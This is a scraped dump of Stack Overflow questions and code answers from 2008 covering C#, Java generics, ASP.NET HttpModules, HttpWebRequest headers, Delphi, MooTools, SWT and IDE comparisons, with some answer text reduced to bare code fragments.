'...\n gMyRecordSet.Close \n Set gMyRecordSet = Nothing\n '...\nEnd Sub\n" }, { "answer_id": 241017, "author": "Fionnuala", "author_id": 2548, "author_profile": "https://Stackoverflow.com/users/2548", "pm_score": 0, "selected": false, "text": "Sub ViewMySQL\nDim strSQL as String\nDim strName As String\n\n'Note that this is not sensible in that you\n'will end up with as many queries open as there are tables\n\n For Each tdf In CurrentDB.TableDefs\n If Left(tdf.Name,4)<>\"Msys\" Then\n strName = \"tmp\" & tdf.Name\n\n strSQL = \"Select * from [\" & tdf.Name & \"] where empno = 0\"\n UpdateQuery strName, strSQL\n DoCmd.OpenQuery strName, acViewNormal\n End If\n Next\nEnd Sub\n\nFunction UpdateQuery(QueryName, SQL)\n\n If IsNull(DLookup(\"Name\", \"MsysObjects\", \"Name='\" & QueryName & \"'\")) Then\n CurrentDb.CreateQueryDef QueryName, SQL\n Else\n CurrentDb.QueryDefs(QueryName).SQL = SQL\n End If\n\n UpdateQuery = True\n\nEnd Function\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239628", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,643
<p>All I need is a way to make a property of one class only 'settable' from one other class (a sort of manager class).</p> <p>Is this even possible in c#?</p> <p>My colleague 'reliably' informs me that I have a design flaw, but I feel I should at least ask the community before I concede defeat!</p>
[ { "answer_id": 239653, "author": "milot", "author_id": 22637, "author_profile": "https://Stackoverflow.com/users/22637", "pm_score": 1, "selected": false, "text": "public string Name\n{\n get{ return _name; }\n protected set { _name = value; }\n}\n" }, { "answer_id": 239658, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": false, "text": "internal [InternalsVisibleTo] friend public string Foo {get; internal set;}\n" }, { "answer_id": 239662, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "class Program\n {\n static void Main(string[] args)\n {\n Managed m = new Managed();\n Console.WriteLine(m.PrivateSetter);\n m.Mgr.SetProperty(\"lol\");\n Console.WriteLine(m.PrivateSetter);\n Console.Read();\n }\n }\n\n public class Managed\n {\n private Manager _mgr;\n public Manager Mgr\n {\n get { return _mgr ?? (_mgr = new Manager(s => PrivateSetter = s)); }\n }\n public string PrivateSetter { get; private set; }\n public Managed()\n {\n PrivateSetter = \"Unset\";\n }\n }\n\n public class Manager\n {\n private Action<string> _setPrivateProperty;\n public Manager(Action<string> setter)\n {\n _setPrivateProperty = setter;\n }\n public void SetProperty(string value)\n {\n _setPrivateProperty(value);\n }\n }\n public class Managed\n{\n private Manager _mgr;\n public Manager Mgr\n {\n get { return _mgr ?? (_mgr = new Manager(this)); }\n }\n public string PrivateSetter { get; private set; }\n public Managed()\n {\n PrivateSetter = \"Unset\";\n }\n public class Manager\n {\n public void SetProperty(string value)\n {\n m.PrivateSetter = value;\n }\n private Managed m;\n public Manager(Managed man)\n {\n m = man;\n }\n }\n}\n" }, { "answer_id": 239664, "author": "TK.", "author_id": 1816, "author_profile": "https://Stackoverflow.com/users/1816", "pm_score": 1, "selected": false, "text": "public void setMyProperty(int value, Object caller)\n{\n if(caller is MyManagerClass)\n {\n MyProperty = value;\n }\n}\n" }, { "answer_id": 239673, "author": "Santiago Palladino", "author_id": 12791, "author_profile": "https://Stackoverflow.com/users/12791", "pm_score": 2, "selected": false, "text": "/// <summary>\n/// Gets or sets foo\n/// <b>Setter should only be invoked by SomeClass</b>\n/// </summary> \npublic Object Foo\n{\n get { return foo; }\n set { foo = value; }\n}\n" }, { "answer_id": 239726, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 0, "selected": false, "text": "public class Widget\n{\n private int count;\n public int Count\n {\n get { return this.count; }\n private set { this.count = value; }\n }\n}\n\npublic static class WidgetManager\n{\n public static void CatastrophicErrorResetWidgetCount( Widget widget )\n {\n Type type = widget.GetType();\n PropertyInfo info = type.GetProperty(\"Count\",BindingFlags.Instance|BindingFlags.NonPublic);\n info.SetValue(widget,0,null);\n }\n}\n" }, { "answer_id": 239747, "author": "Keith", "author_id": 905, "author_profile": "https://Stackoverflow.com/users/905", "pm_score": 0, "selected": false, "text": "public class MyItem {\n\n internal MyItemManager manager { get;set; }\n\n public string Property1 { \n get { return manager.GetPropertyForItem( this ); } \n }\n}\n" }, { "answer_id": 14200436, "author": "supercat", "author_id": 363751, "author_profile": "https://Stackoverflow.com/users/363751", "pm_score": 0, "selected": false, "text": "Foo Bar Biz Foo Action<Biz> Bar Bar Woozle Bar Foo Woozle Woozle.InstallFooBarSetter Action<Foo, Biz> Object Foo WoozleRequestBarSetter Object Woozle.InstallFooBarSetter Action<Foo,Biz> Woozle Object Foo.RequestBarSetter Woozle.InstallFooBarSetter Woozle Woozle Woozle.InstallFooBarSetter Woozle Foo Woozle Woozle.InstallFooBarSetter" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239643", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17540/" ]
239,645
<p>I have an abstract Class <strong>Monitor.java</strong> which is subclassed by a Class <strong>EmailMonitor.java</strong>. </p> <p>The method:</p> <pre><code>public abstract List&lt;? extends MonitorAccount&gt; performMonitor(List&lt;? extends MonitorAccount&gt; accounts) </code></pre> <p>is defined in <strong>Monitor.java</strong> and must be overridden in <strong>EmailMonitor.java</strong>.</p> <p>I currently have the method overridden in <strong>EmailMonitor.java</strong> as follows:</p> <pre><code>@Override public List&lt;EmailAccount&gt; performMonitor(List&lt;EmailAccount&gt; emailAccounts) { //...unrelated logic return emailAccounts; } </code></pre> <p>However, this produces the compile time error: </p> <p><code>Name clash: The method performMonitor(List&lt;EmailAccount&gt;) of type EmailMonitor has the same erasure as performMonitor(Lis&lt;? extends MonitorAccount&gt; emailAccounts) of type Monitor but does not override it</code></p> <p><code>EmailAccount</code> is a subclass of <code>MonitorAccount</code>, so (in my mind at least) overriding it in this way makes perfect sense. Seeing as the compiler is not happy with my logic though, How should I go about this correctly while still keeping my compile time checks to make sure that all calls to <code>EmailMonitor.performMonitor()</code> receive Lists of <code>EmailAccount</code> rather than some other type of <code>MonitorAccount</code>? </p></p>
[ { "answer_id": 239663, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 6, "selected": true, "text": "Monitor x = new EmailMonitor();\nList<NonEmailAccount> nonEmailAccounts = ...;\nx.performMonitor(nonEmailAccounts);\n Monitor EmailMonitor Monitor<EmailAccount> public abtract class Monitor<T extends MonitorAccount>\n{\n ...\n public abstract List<? extends T> performMonitor(\n List<? extends T> accounts);\n}\n\npublic class EmailMonitor extends Monitor<EmailAccount>\n{\n @Override\n public abstract List<? extends EmailAccount> performMonitor(\n List<? extends EmailAccount> accounts)\n {\n // Code goes here\n }\n}\n performMonitor" }, { "answer_id": 240192, "author": "Robert Ngetich", "author_id": 31749, "author_profile": "https://Stackoverflow.com/users/31749", "pm_score": 3, "selected": false, "text": "public abstract class Monitor <T extends MonitorAccount> {\n ...\n public abstract List<T> performMonitor(List<T> accounts);\n ..\n}\n public class EmailMonitor extends Monitor<EmailAccount> {\n ...\n public List<EmailAccount> performMonitor(List<EmailAccount> emailAccounts) {\n ..//logic...logic...logic\n return emailAccounts;\n }\n ...\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239645", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31749/" ]
239,669
<p>I'm occasionaly getting the following popup from an AJAX.NET application</p> <pre>Sys.WebForms.PageRequestManagerServerErrorException: An Unknown error occurred while processing the request on the server. The status code returned from the server was: 12031</pre> <p>From the <a href="http://support.microsoft.com/kb/193625" rel="noreferrer">Microsoft kb</a> that status code indicates a ERROR_INTERNET_CONNECTION_RESET, but it doesn't state what was the underlying issue the triggered the error in the first place.</p> <p>How can I log/trace/etc the underlying error that generated the popup?</p>
[ { "answer_id": 6535792, "author": "Sergii.PSP", "author_id": 802837, "author_profile": "https://Stackoverflow.com/users/802837", "pm_score": 1, "selected": false, "text": "<sessionState mode=\"InProc\" cookieless=\"true\" timeout=\"720\"/>;\n" }, { "answer_id": 9526511, "author": "Neha", "author_id": 1244039, "author_profile": "https://Stackoverflow.com/users/1244039", "pm_score": 0, "selected": false, "text": "<asp:UpdatePanel runat=\"server\"> <asp:UpdatePanel runat=\"server\"> ValidateRequest=\"false\" requestValidationMode=\"2.0\" <httpRuntime maxRequestLength=\"102400\" requestValidationMode=\"2.0\"/>\n" }, { "answer_id": 10176400, "author": "hari", "author_id": 1336584, "author_profile": "https://Stackoverflow.com/users/1336584", "pm_score": 2, "selected": false, "text": "<httpRuntime requestValidationMode=\"2.0\"/> <?xml version=\"1.0\"?>\n<!--\n For more information on how to configure your ASP.NET application, please visit\n http://go.microsoft.com/fwlink/?LinkId=169433\n -->\n<configuration>\n <system.web>\n <httpRuntime requestValidationMode=\"2.0\"/>\n <compilation debug=\"true\" targetFramework=\"4.0\">\n <assemblies>\n <add assembly=\"System.Data.Entity, Version=4.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089\"/>\n </assemblies>\n </compilation>\n\n </system.web>\n\n\n <connectionStrings>\n <add name=\"WT_ZadnjiEntities\" connectionString=\"metadata=res://*/DAL.Model.csdl|res://*/DAL.Model.ssdl|res://*/DAL.Model.msl;provider=System.Data.SqlClient;provider connection string=&quot;data source=SATELLITE-PC;initial catalog=WT_Zadnji;integrated security=True;multipleactiveresultsets=True;App=EntityFramework&quot;\" providerName=\"System.Data.EntityClient\" />\n </connectionStrings>\n</configuration>\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239669", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12772/" ]
239,682
<p>When reading the registry for file names I get 3 entries loading into my combo box for every 1 registry entry. If I have 1 file listed in the registry I would see :</p> <p>Combo box values:</p> <p>c:\file1.txt</p> <p>&lt;-----Blank here</p> <p>c:\file1.txt</p> <p>I have found the problem lies in this code, it hits 'if (previousFiles != null)' 3 times. How should I correct this?</p> <pre><code>for (int i = 0; i &lt;= 5; i++) { Object previousFiles = OurKey.GetValue("Files" + i); if (previousFiles != null) { comboBox1.Items.Add(previousFiles.ToString()); } } </code></pre> <p>Many thanks Monday morning blues!</p>
[ { "answer_id": 239694, "author": "blowdart", "author_id": 2525, "author_profile": "https://Stackoverflow.com/users/2525", "pm_score": 0, "selected": false, "text": "Object previousFiles = OurKey.GetValue(\"Files\" + i) as string;\n string.IsNullOrEmpty()\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239682", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
239,687
<p>Other than using raw XML, is there an easy way in .NET to open and read a config file belonging to another assembly...? I don't need to write to it, just grab a couple of values from it.</p>
[ { "answer_id": 239698, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 2, "selected": false, "text": "ConfigurationManager OpenExeConfiguration(path)" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239687", "https://Stackoverflow.com", "https://Stackoverflow.com/users/983/" ]
239,722
<p>I want to perform some transformations on C source code. <strong>I need a tool on linux that generates a complete AST from the source code</strong> so that I can apply my transformations on this AST and then convert it back to the C source code. I tried <a href="http://www.cs.berkeley.edu/~smcpeak/elkhound/sources/elsa/" rel="noreferrer">ELSA</a> but it is not getting compiled. (I am using Ubuntu 8.4). Can anyone suggest a better tool/application? </p>
[ { "answer_id": 27824040, "author": "Ivan Baidakou", "author_id": 2625346, "author_profile": "https://Stackoverflow.com/users/2625346", "pm_score": 2, "selected": false, "text": "xml\n <cscan>\n <typedef_hash>\n <typedef id=\"GLenum\" before=\"unsigned int\" after=\"\" file=\"/usr/include/GL/gl.h\"/>\n ...\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239722", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2745562/" ]
239,725
<p>When I try to add a HTTP header key/value pair on a <code>WebRequest</code> object, I get the following exception:</p> <blockquote> <p>This header must be modified using the appropriate property</p> </blockquote> <p>I've tried adding new values to the <code>Headers</code> collection by using the Add() method but I still get the same exception.</p> <pre><code>webRequest.Headers.Add(HttpRequestHeader.Referer, "http://stackoverflow.com"); </code></pre> <p>I can get around this by casting the WebRequest object to a HttpWebRequest and setting the properties such as <code>httpWebReq.Referer ="http://stackoverflow.com"</code>, but this only works for a handful of headers that are exposed via properties.</p> <p>I'd like to know if there's a way to get a finer grained control over modifying headers with a request for a remote resource.</p>
[ { "answer_id": 239847, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 1, "selected": false, "text": "HttpWebRequest .Referer HttpWebRequest req = ...\nreq.Referer = \"your url\";\n" }, { "answer_id": 331317, "author": "Jerod Venema", "author_id": 25330, "author_profile": "https://Stackoverflow.com/users/25330", "pm_score": 4, "selected": false, "text": "HttpWebRequest WebRequest HttpWebRequest Referrer ((HttpWebRequest)request).Referrer ContentLength ContentType UserAgent Headers.Add()" }, { "answer_id": 2405654, "author": "Chmod", "author_id": 276619, "author_profile": "https://Stackoverflow.com/users/276619", "pm_score": 6, "selected": false, "text": "WebRequest.Create() HttpWebRequest WebHeaderCollection .Add(\"referer\",\"my_url\") WebClient client = new WebClient();\nclient.Headers.Add(\"referer\", \"http://stackoverflow.com\");\nclient.Headers.Add(\"user-agent\", \"Mozilla/5.0\");\n HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);\nrequest.Referer = \"http://stackoverflow.com\";\nrequest.UserAgent = \"Mozilla/5.0\";\nresponse = (HttpWebResponse)request.GetResponse();\n" }, { "answer_id": 4752359, "author": "dubi", "author_id": 248916, "author_profile": "https://Stackoverflow.com/users/248916", "pm_score": 9, "selected": true, "text": "HttpWebRequest WebHeaderCollection WebRequest WebResponse Accept Connection Content-Length Content-Type Date Expect Host If-Modified-Since Range Referer Transfer-Encoding User-Agent Proxy-Connection WebRequest HttpWebRequest WebHeaderCollection.IsRestricted(key)" }, { "answer_id": 23070923, "author": "Despertar", "author_id": 1160036, "author_profile": "https://Stackoverflow.com/users/1160036", "pm_score": 5, "selected": false, "text": "HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;\nrequest.SetRawHeader(\"content-type\", \"application/json\");\n public static class HttpWebRequestExtensions\n{\n static string[] RestrictedHeaders = new string[] {\n \"Accept\",\n \"Connection\",\n \"Content-Length\",\n \"Content-Type\",\n \"Date\",\n \"Expect\",\n \"Host\",\n \"If-Modified-Since\",\n \"Keep-Alive\",\n \"Proxy-Connection\",\n \"Range\",\n \"Referer\",\n \"Transfer-Encoding\",\n \"User-Agent\"\n };\n\n static Dictionary<string, PropertyInfo> HeaderProperties = new Dictionary<string, PropertyInfo>(StringComparer.OrdinalIgnoreCase);\n\n static HttpWebRequestExtensions()\n {\n Type type = typeof(HttpWebRequest);\n foreach (string header in RestrictedHeaders)\n {\n string propertyName = header.Replace(\"-\", \"\");\n PropertyInfo headerProperty = type.GetProperty(propertyName);\n HeaderProperties[header] = headerProperty;\n }\n }\n\n public static void SetRawHeader(this HttpWebRequest request, string name, string value)\n {\n if (HeaderProperties.ContainsKey(name))\n {\n PropertyInfo property = HeaderProperties[name];\n if (property.PropertyType == typeof(DateTime))\n property.SetValue(request, DateTime.Parse(value), null);\n else if (property.PropertyType == typeof(bool))\n property.SetValue(request, Boolean.Parse(value), null);\n else if (property.PropertyType == typeof(long))\n property.SetValue(request, Int64.Parse(value), null);\n else\n property.SetValue(request, value, null);\n }\n else\n {\n request.Headers[name] = value;\n }\n }\n}\n HttpWebRequest Dictionary<string, string>" }, { "answer_id": 27709909, "author": "Rob", "author_id": 658216, "author_profile": "https://Stackoverflow.com/users/658216", "pm_score": 2, "selected": false, "text": " request.ContentType = \"application/x-www-form-urlencoded\";\n\n request.Accept = \"application/json\";\n\n request.Headers.Add(HttpRequestHeader.Authorization, \"Basic \" + info.clientId + \":\" + info.clientSecret);\n" }, { "answer_id": 28993152, "author": "Stefan Michev", "author_id": 754571, "author_profile": "https://Stackoverflow.com/users/754571", "pm_score": 0, "selected": false, "text": "request.ContentType = \"application/json; charset=utf-8\"\n" }, { "answer_id": 29850603, "author": "Bonomi", "author_id": 909986, "author_profile": "https://Stackoverflow.com/users/909986", "pm_score": 0, "selected": false, "text": "var request = (HttpWebRequest)WebRequest.Create(myUri);\n request.Referer = \"yourReferer\";\n" }, { "answer_id": 36038562, "author": "Mike Gledhill", "author_id": 391605, "author_profile": "https://Stackoverflow.com/users/391605", "pm_score": 4, "selected": false, "text": "WebRequest request = WebRequest.Create(\"http://someServer:6405/biprws/logon/long\");\nrequest.Headers.Add(\"Accept\", \"application/json\");\n HttpWebRequest request = (HttpWebRequest)WebRequest.Create(\"http://someServer:6405/biprws/logon/long\");\nrequest.Accept = \"application/json\";\n" }, { "answer_id": 58585845, "author": "Sleeper", "author_id": 12283553, "author_profile": "https://Stackoverflow.com/users/12283553", "pm_score": 2, "selected": false, "text": "private static readonly HeaderInfoTable HInfo = new HeaderInfoTable();\n private static Hashtable HeaderHashTable;\n internal class HeaderInfo {\n\n internal readonly bool IsRequestRestricted;\n internal readonly bool IsResponseRestricted;\n internal readonly HeaderParser Parser;\n\n //\n // Note that the HeaderName field is not always valid, and should not\n // be used after initialization. In particular, the HeaderInfo returned\n // for an unknown header will not have the correct header name.\n //\n\n internal readonly string HeaderName;\n internal readonly bool AllowMultiValues;\n ...\n }\n // use reflection to remove IsRequestRestricted from headerInfo hash table\n Assembly a = typeof(HttpWebRequest).Assembly;\n foreach (FieldInfo f in a.GetType(\"System.Net.HeaderInfoTable\").GetFields(BindingFlags.NonPublic | BindingFlags.Static))\n {\n if (f.Name == \"HeaderHashTable\")\n {\n Hashtable hashTable = f.GetValue(null) as Hashtable;\n foreach (string sKey in hashTable.Keys)\n {\n\n object headerInfo = hashTable[sKey];\n //Console.WriteLine(String.Format(\"{0}: {1}\", sKey, hashTable[sKey]));\n foreach (FieldInfo g in a.GetType(\"System.Net.HeaderInfo\").GetFields(BindingFlags.NonPublic | BindingFlags.Instance))\n {\n\n if (g.Name == \"IsRequestRestricted\")\n {\n bool b = (bool)g.GetValue(headerInfo);\n if (b)\n {\n g.SetValue(headerInfo, false);\n Console.WriteLine(sKey + \".\" + g.Name + \" changed to false\");\n }\n\n }\n }\n\n }\n }\n } \n" }, { "answer_id": 65000847, "author": "Vaibhav", "author_id": 880377, "author_profile": "https://Stackoverflow.com/users/880377", "pm_score": 0, "selected": false, "text": "HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);\n\nrequest.Headers[\"UserAgent\"] = \"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; \nTrident/5.0)\"\n" }, { "answer_id": 73093313, "author": "pete", "author_id": 1165643, "author_profile": "https://Stackoverflow.com/users/1165643", "pm_score": 0, "selected": false, "text": "request.Headers.UserAgent.Add(new ProductInfoHeaderValue(\"my_string\"));\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239725", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17211/" ]
239,732
<p>I have heard from people who have switched either way and who swear by the one or the other.</p> <p>Being a huge Eclipse fan but having not had the time to try out IntelliJ, I am interested in hearing from IntelliJ users who are "ex-Eclipsians" some specific things that you can do with IntelliJ that you can not do with Eclipse.</p> <p><strong>Note</strong>: This is not a subjective question nor at all meant to turn into an IDE holy war. <strong><em>Please downvote any flamebait answers</em></strong>.</p>
[ { "answer_id": 241209, "author": "Pavel Feldman", "author_id": 5507, "author_profile": "https://Stackoverflow.com/users/5507", "pm_score": 9, "selected": true, "text": "<property name=\"propName\" ref=\"<hit CTRL-SPACE>\"\n interface Person {\n String getName();\n String getAddress();\n int getAge();\n}\n//---\nPerson p;\nString name = p.<CTRL-SHIFT-SPACE>\n interface Country{\n}\ninterface Address {\n String getStreetAddress();\n String getZipCode();\n Country getCountry();\n}\ninterface Person {\n String getName();\n Address getAddress();\n int getAge();\n}\n//--- \nPerson p;\nCountry c = p.<CTRL-SHIFT-SPACE>\n Country c = p.getAddress().getCountry();\n function Person(name,address) {\n this.getName = function() { return name };\n this.getAddress = function() { return address };\n}\n\nPerson.prototype.hello = function() {\n return \"I'm \" + this.getName() + \" from \" + this.get<CTRL-SPACE>;\n}\n <ui:obfuscateJavaScript>function something(){...}</ui:obfuscateJavaScript>\n Pattern.compile(\"\"); WEB-INF\\lib" }, { "answer_id": 241366, "author": "Darron", "author_id": 22704, "author_profile": "https://Stackoverflow.com/users/22704", "pm_score": 4, "selected": false, "text": " System.out.println($string$ + $expr$);\n $expr$.inspect($string$);\n" }, { "answer_id": 241505, "author": "oxbow_lakes", "author_id": 16853, "author_profile": "https://Stackoverflow.com/users/16853", "pm_score": 5, "selected": false, "text": "interface Map<String, Integer> m = ...\nm.contains|Key(\"Wibble\");\n" }, { "answer_id": 461270, "author": "krosenvold", "author_id": 23691, "author_profile": "https://Stackoverflow.com/users/23691", "pm_score": 5, "selected": false, "text": " City city = customer.<ctrl-shift-space twice>\n City city = customer.getAddress().getCity();\n" }, { "answer_id": 1156334, "author": "rlovtang", "author_id": 141688, "author_profile": "https://Stackoverflow.com/users/141688", "pm_score": 3, "selected": false, "text": "service.listAllPersons() List<Person> list = service.listAllPersons();\n new ArrayList<String>()\n ArrayList<String> stringArrayList = new ArrayList<String>();\n" }, { "answer_id": 16624173, "author": "passsy", "author_id": 669294, "author_profile": "https://Stackoverflow.com/users/669294", "pm_score": 5, "selected": false, "text": "SimpleTimeZone SimpleTimeZone SimpleTimeZone" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239732", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6583/" ]
239,744
<p>I'm developing a SWT/JFace application using the libraries from Eclipse 3.4.1. I encounter the following problem on Windows (Vista 32bit) and Ubuntu 8.10 32bit:</p> <p>I create a menu bar in the createMenuManager method of the JFace ApplicationWindow. I add MenuManagers for file, edit and help.</p> <p>I then add an ExitAction to the file MenuManager like so:</p> <pre><code>filemenu.add(new ExitAction(this)); </code></pre> <p>The ExitAction is defined this way:</p> <pre><code>public class ExitAction extends Action { final ApplicationWindow window; public ExitAction(ApplicationWindow w) { this.window = w; setText("E&amp;xit"); setToolTipText("Exit the application"); setAccelerator(SWT.MOD1 + 'Q'); } } </code></pre> <p>Now when my application starts I want be able to press "CTRL+Q" to quit the application. This does however not work. Only AFTER I click on "File" in the menu bar and THEN clicking "CTRL+Q" the application will quit.</p> <p>I've tried this with different accelerators- same behavior.</p> <p>It does work however if I create a "MenuItem" instead of an "Action" to contribute to the menu bar.</p> <p>Is this a SWT bug or do I miss something?</p> <p>Torsten.</p>
[ { "answer_id": 247334, "author": "the.duckman", "author_id": 21368, "author_profile": "https://Stackoverflow.com/users/21368", "pm_score": 0, "selected": false, "text": "setAccelerator(.) MenuItem KeyUp Display.addFilter(SWT.KeyUp, myListener) Listener" }, { "answer_id": 265135, "author": "Torsten Uhlmann", "author_id": 7143, "author_profile": "https://Stackoverflow.com/users/7143", "pm_score": 2, "selected": true, "text": "create() ApplicationWindow getMenuBarManager().updateAll(true);" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239744", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7143/" ]
239,746
<p>What is the correct way to check if a value is a date/number in Delphi?</p> <p>I know other languages have functions like isDate and isNaN, but what is the Delphi equivalent? at the minute I have this</p> <pre><code>function isNumeric(s1:string):boolean; begin // will throw exception if its not a number // there must be a better way to do this!! try StrTofloat(s1); result := TRUE ; except result := FALSE; end; end; </code></pre> <p>But throwing exceptions cant be good, and it makes debugging hard as I keep seeing the exception dialogue every time the code is called.</p>
[ { "answer_id": 239751, "author": "Alan", "author_id": 31223, "author_profile": "https://Stackoverflow.com/users/31223", "pm_score": 5, "selected": true, "text": "function TryStrToInt(const s: string; out i : integer): boolean;\n" }, { "answer_id": 239757, "author": "Rômulo Ceccon", "author_id": 23193, "author_profile": "https://Stackoverflow.com/users/23193", "pm_score": 2, "selected": false, "text": "TryStrToFloat TryStrToDateTime StrToFloat" }, { "answer_id": 51294403, "author": "user10067253", "author_id": 10067253, "author_profile": "https://Stackoverflow.com/users/10067253", "pm_score": 1, "selected": false, "text": "procedure TForm1.Button1Click(Sender: TObject);\nvar\nx,i:integer;\nteststring:string;\n\nbegin\nteststring:='1235';\nfor i:=1 to length(teststring) do begin\n x:= strtointdef(teststring[i],-1);\n if x=-1 then break;\nend;\nif x<0 then showmessage('not numeric')\nelse showmessage('numeric');\n\nend;\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239746", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2098/" ]
239,786
<p>I have put together the following mootools script</p> <pre><code> window.addEvent('domready', function() { var shouts = "timed.php"; var log = $('log_res'); function updateData (url,target) { new Ajax(url,{ method: 'get', update: $(target), onComplete: function() { log.removeClass('ajax-loading');} }).request(); log.empty().addClass('ajax-loading'); } var update = function(){ updateData ( shouts, 'log_res' ); }; update(); // call it immediately update.periodical(10000); // and then periodically }); </code></pre> <p>heres the html</p> <pre><code>&lt;div id="AJAX"&gt; &lt;h3&gt;Ajax Response&lt;/h3&gt; &lt;div id="log_res"&gt;exercise&lt;/div&gt; &lt;/div&gt; </code></pre> <p>its using moo 1.1.</p> <p>The above works fine, the page loads then the ajax request kicks in div id log_res has a class of ajax-loading whilst its updating, and when its finished the text exercise in the div is replaced with whatever the ajax has returned (yippee). But I want to put some custom HTML into the div WHILST the page is loading, because the ajax-loading class is not enough to contain the information, i also want to put a spinny flasher into the div whilst the ajax request is retrieving the information. Hope that makes sense!</p>
[ { "answer_id": 239869, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 3, "selected": true, "text": "function updateData (url, target)\n{\n var target = $(target);\n target.empty().addClass('ajax-loading');\n target.innerHTML = \"Loading...\";\n new Request({\n url: url, \n method: 'get',\n onComplete: function(responseText) {\n target.removeClass('ajax-loading');\n target.innerHTML = responseText;\n }\n }).send();\n}\n target log function updateData (url, target)\n{\n var target = $(target);\n target.empty().addClass('ajax-loading');\n target.innerHTML = \"Loading...\";\n new Ajax(url, {\n method: 'get',\n update: target,\n onComplete: function() {\n target.removeClass('ajax-loading');\n }\n }).request();\n}\n" }, { "answer_id": 241716, "author": "Tom Haigh", "author_id": 22224, "author_profile": "https://Stackoverflow.com/users/22224", "pm_score": 1, "selected": false, "text": "function updateData (url, target)\n{\n var target = $(target);\n target.innerHTML = 'Please wait...';\n\n //and the rest of the function\n}\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239786", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28241/" ]
239,788
<p>Creating an XPathDocument with referenced DTD sometimes throws a web exception. Why?</p>
[ { "answer_id": 28261052, "author": "Aussie Ash", "author_id": 2614736, "author_profile": "https://Stackoverflow.com/users/2614736", "pm_score": 1, "selected": false, "text": "XmlReaderSettings settings = new XmlReaderSettings();\n settings.XmlResolver = null;\n settings.ProhibitDtd = false;\n\n var xmlReader = XmlTextReader.Create(new StringReader(xmlString),settings);\n XPathDocument xpathDoc = new XPathDocument(xmlReader);\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239788", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23164/" ]
239,802
<p>I'm writing an app where 3rd party vendors can write plugin DLLs and drop them into the web app's bin directory. I want the ability for these plugins to be able to register their own HttpModules if necessary. </p> <p>Is there anyway that I can add or remove HttpModules from and to the pipeline at runtime without having a corresponding entry in the Web.Config, or do I have to programmatically edit the Web.Config when adding / removing modules? I know that either way is going to cause an AppDomain restart but I'd rather be able to do it in code than having to fudge the web.config to achieve the same effect. </p>
[ { "answer_id": 240110, "author": "Aaron Fischer", "author_id": 5618, "author_profile": "https://Stackoverflow.com/users/5618", "pm_score": 7, "selected": true, "text": " public class Global : System.Web.HttpApplication\n {\n // some modules use explicit interface implementation\n // by declaring this static member as the IHttpModule interface\n // we work around that\n public static IHttpModule Module = new xrnsToashxMappingModule();\n public override void Init()\n {\n base.Init();\n Module.Init(this);\n }\n }\n" }, { "answer_id": 3158765, "author": "Nikhil Kothari", "author_id": 40999, "author_profile": "https://Stackoverflow.com/users/40999", "pm_score": 5, "selected": false, "text": "PreApplicationStartMethod HttpApplication HttpApplication" }, { "answer_id": 4285836, "author": "Chris van de Steeg", "author_id": 336130, "author_profile": "https://Stackoverflow.com/users/336130", "pm_score": 4, "selected": false, "text": "public static class PreApplicationStartCode\n{\n private static bool _startWasCalled;\n\n public static void Start()\n {\n if (_startWasCalled) return;\n\n _startWasCalled = true;\n DynamicModuleUtility.RegisterModule(typeof(EventTriggeringHttpModule));\n }\n}\n" }, { "answer_id": 41058680, "author": "Peter Morris", "author_id": 61311, "author_profile": "https://Stackoverflow.com/users/61311", "pm_score": 2, "selected": false, "text": "using WhateverNameSpacesYouNeed;\n\n[assembly: WebActivatorEx.PreApplicationStartMethod(typeof(YourApp.SomeNameSpace.YourClass), \"Initialize\")]\nnamespace YourApp.SomeNameSpace\n{\n public static void Initialize()\n {\n DynamicModuleUtility.RegisterModule( ... the type that implements IHttpModule ... );\n }\n}\n" }, { "answer_id": 54097973, "author": "Jesse", "author_id": 689411, "author_profile": "https://Stackoverflow.com/users/689411", "pm_score": 2, "selected": false, "text": "RegisterModule(typeof(RequestLoggerModule));\n\npublic class RequestLoggerModule : IHttpModule\n { ... }\n" } ]
2008/10/27
[ "https://Stackoverflow.com/questions/239802", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2285/" ]
239,823
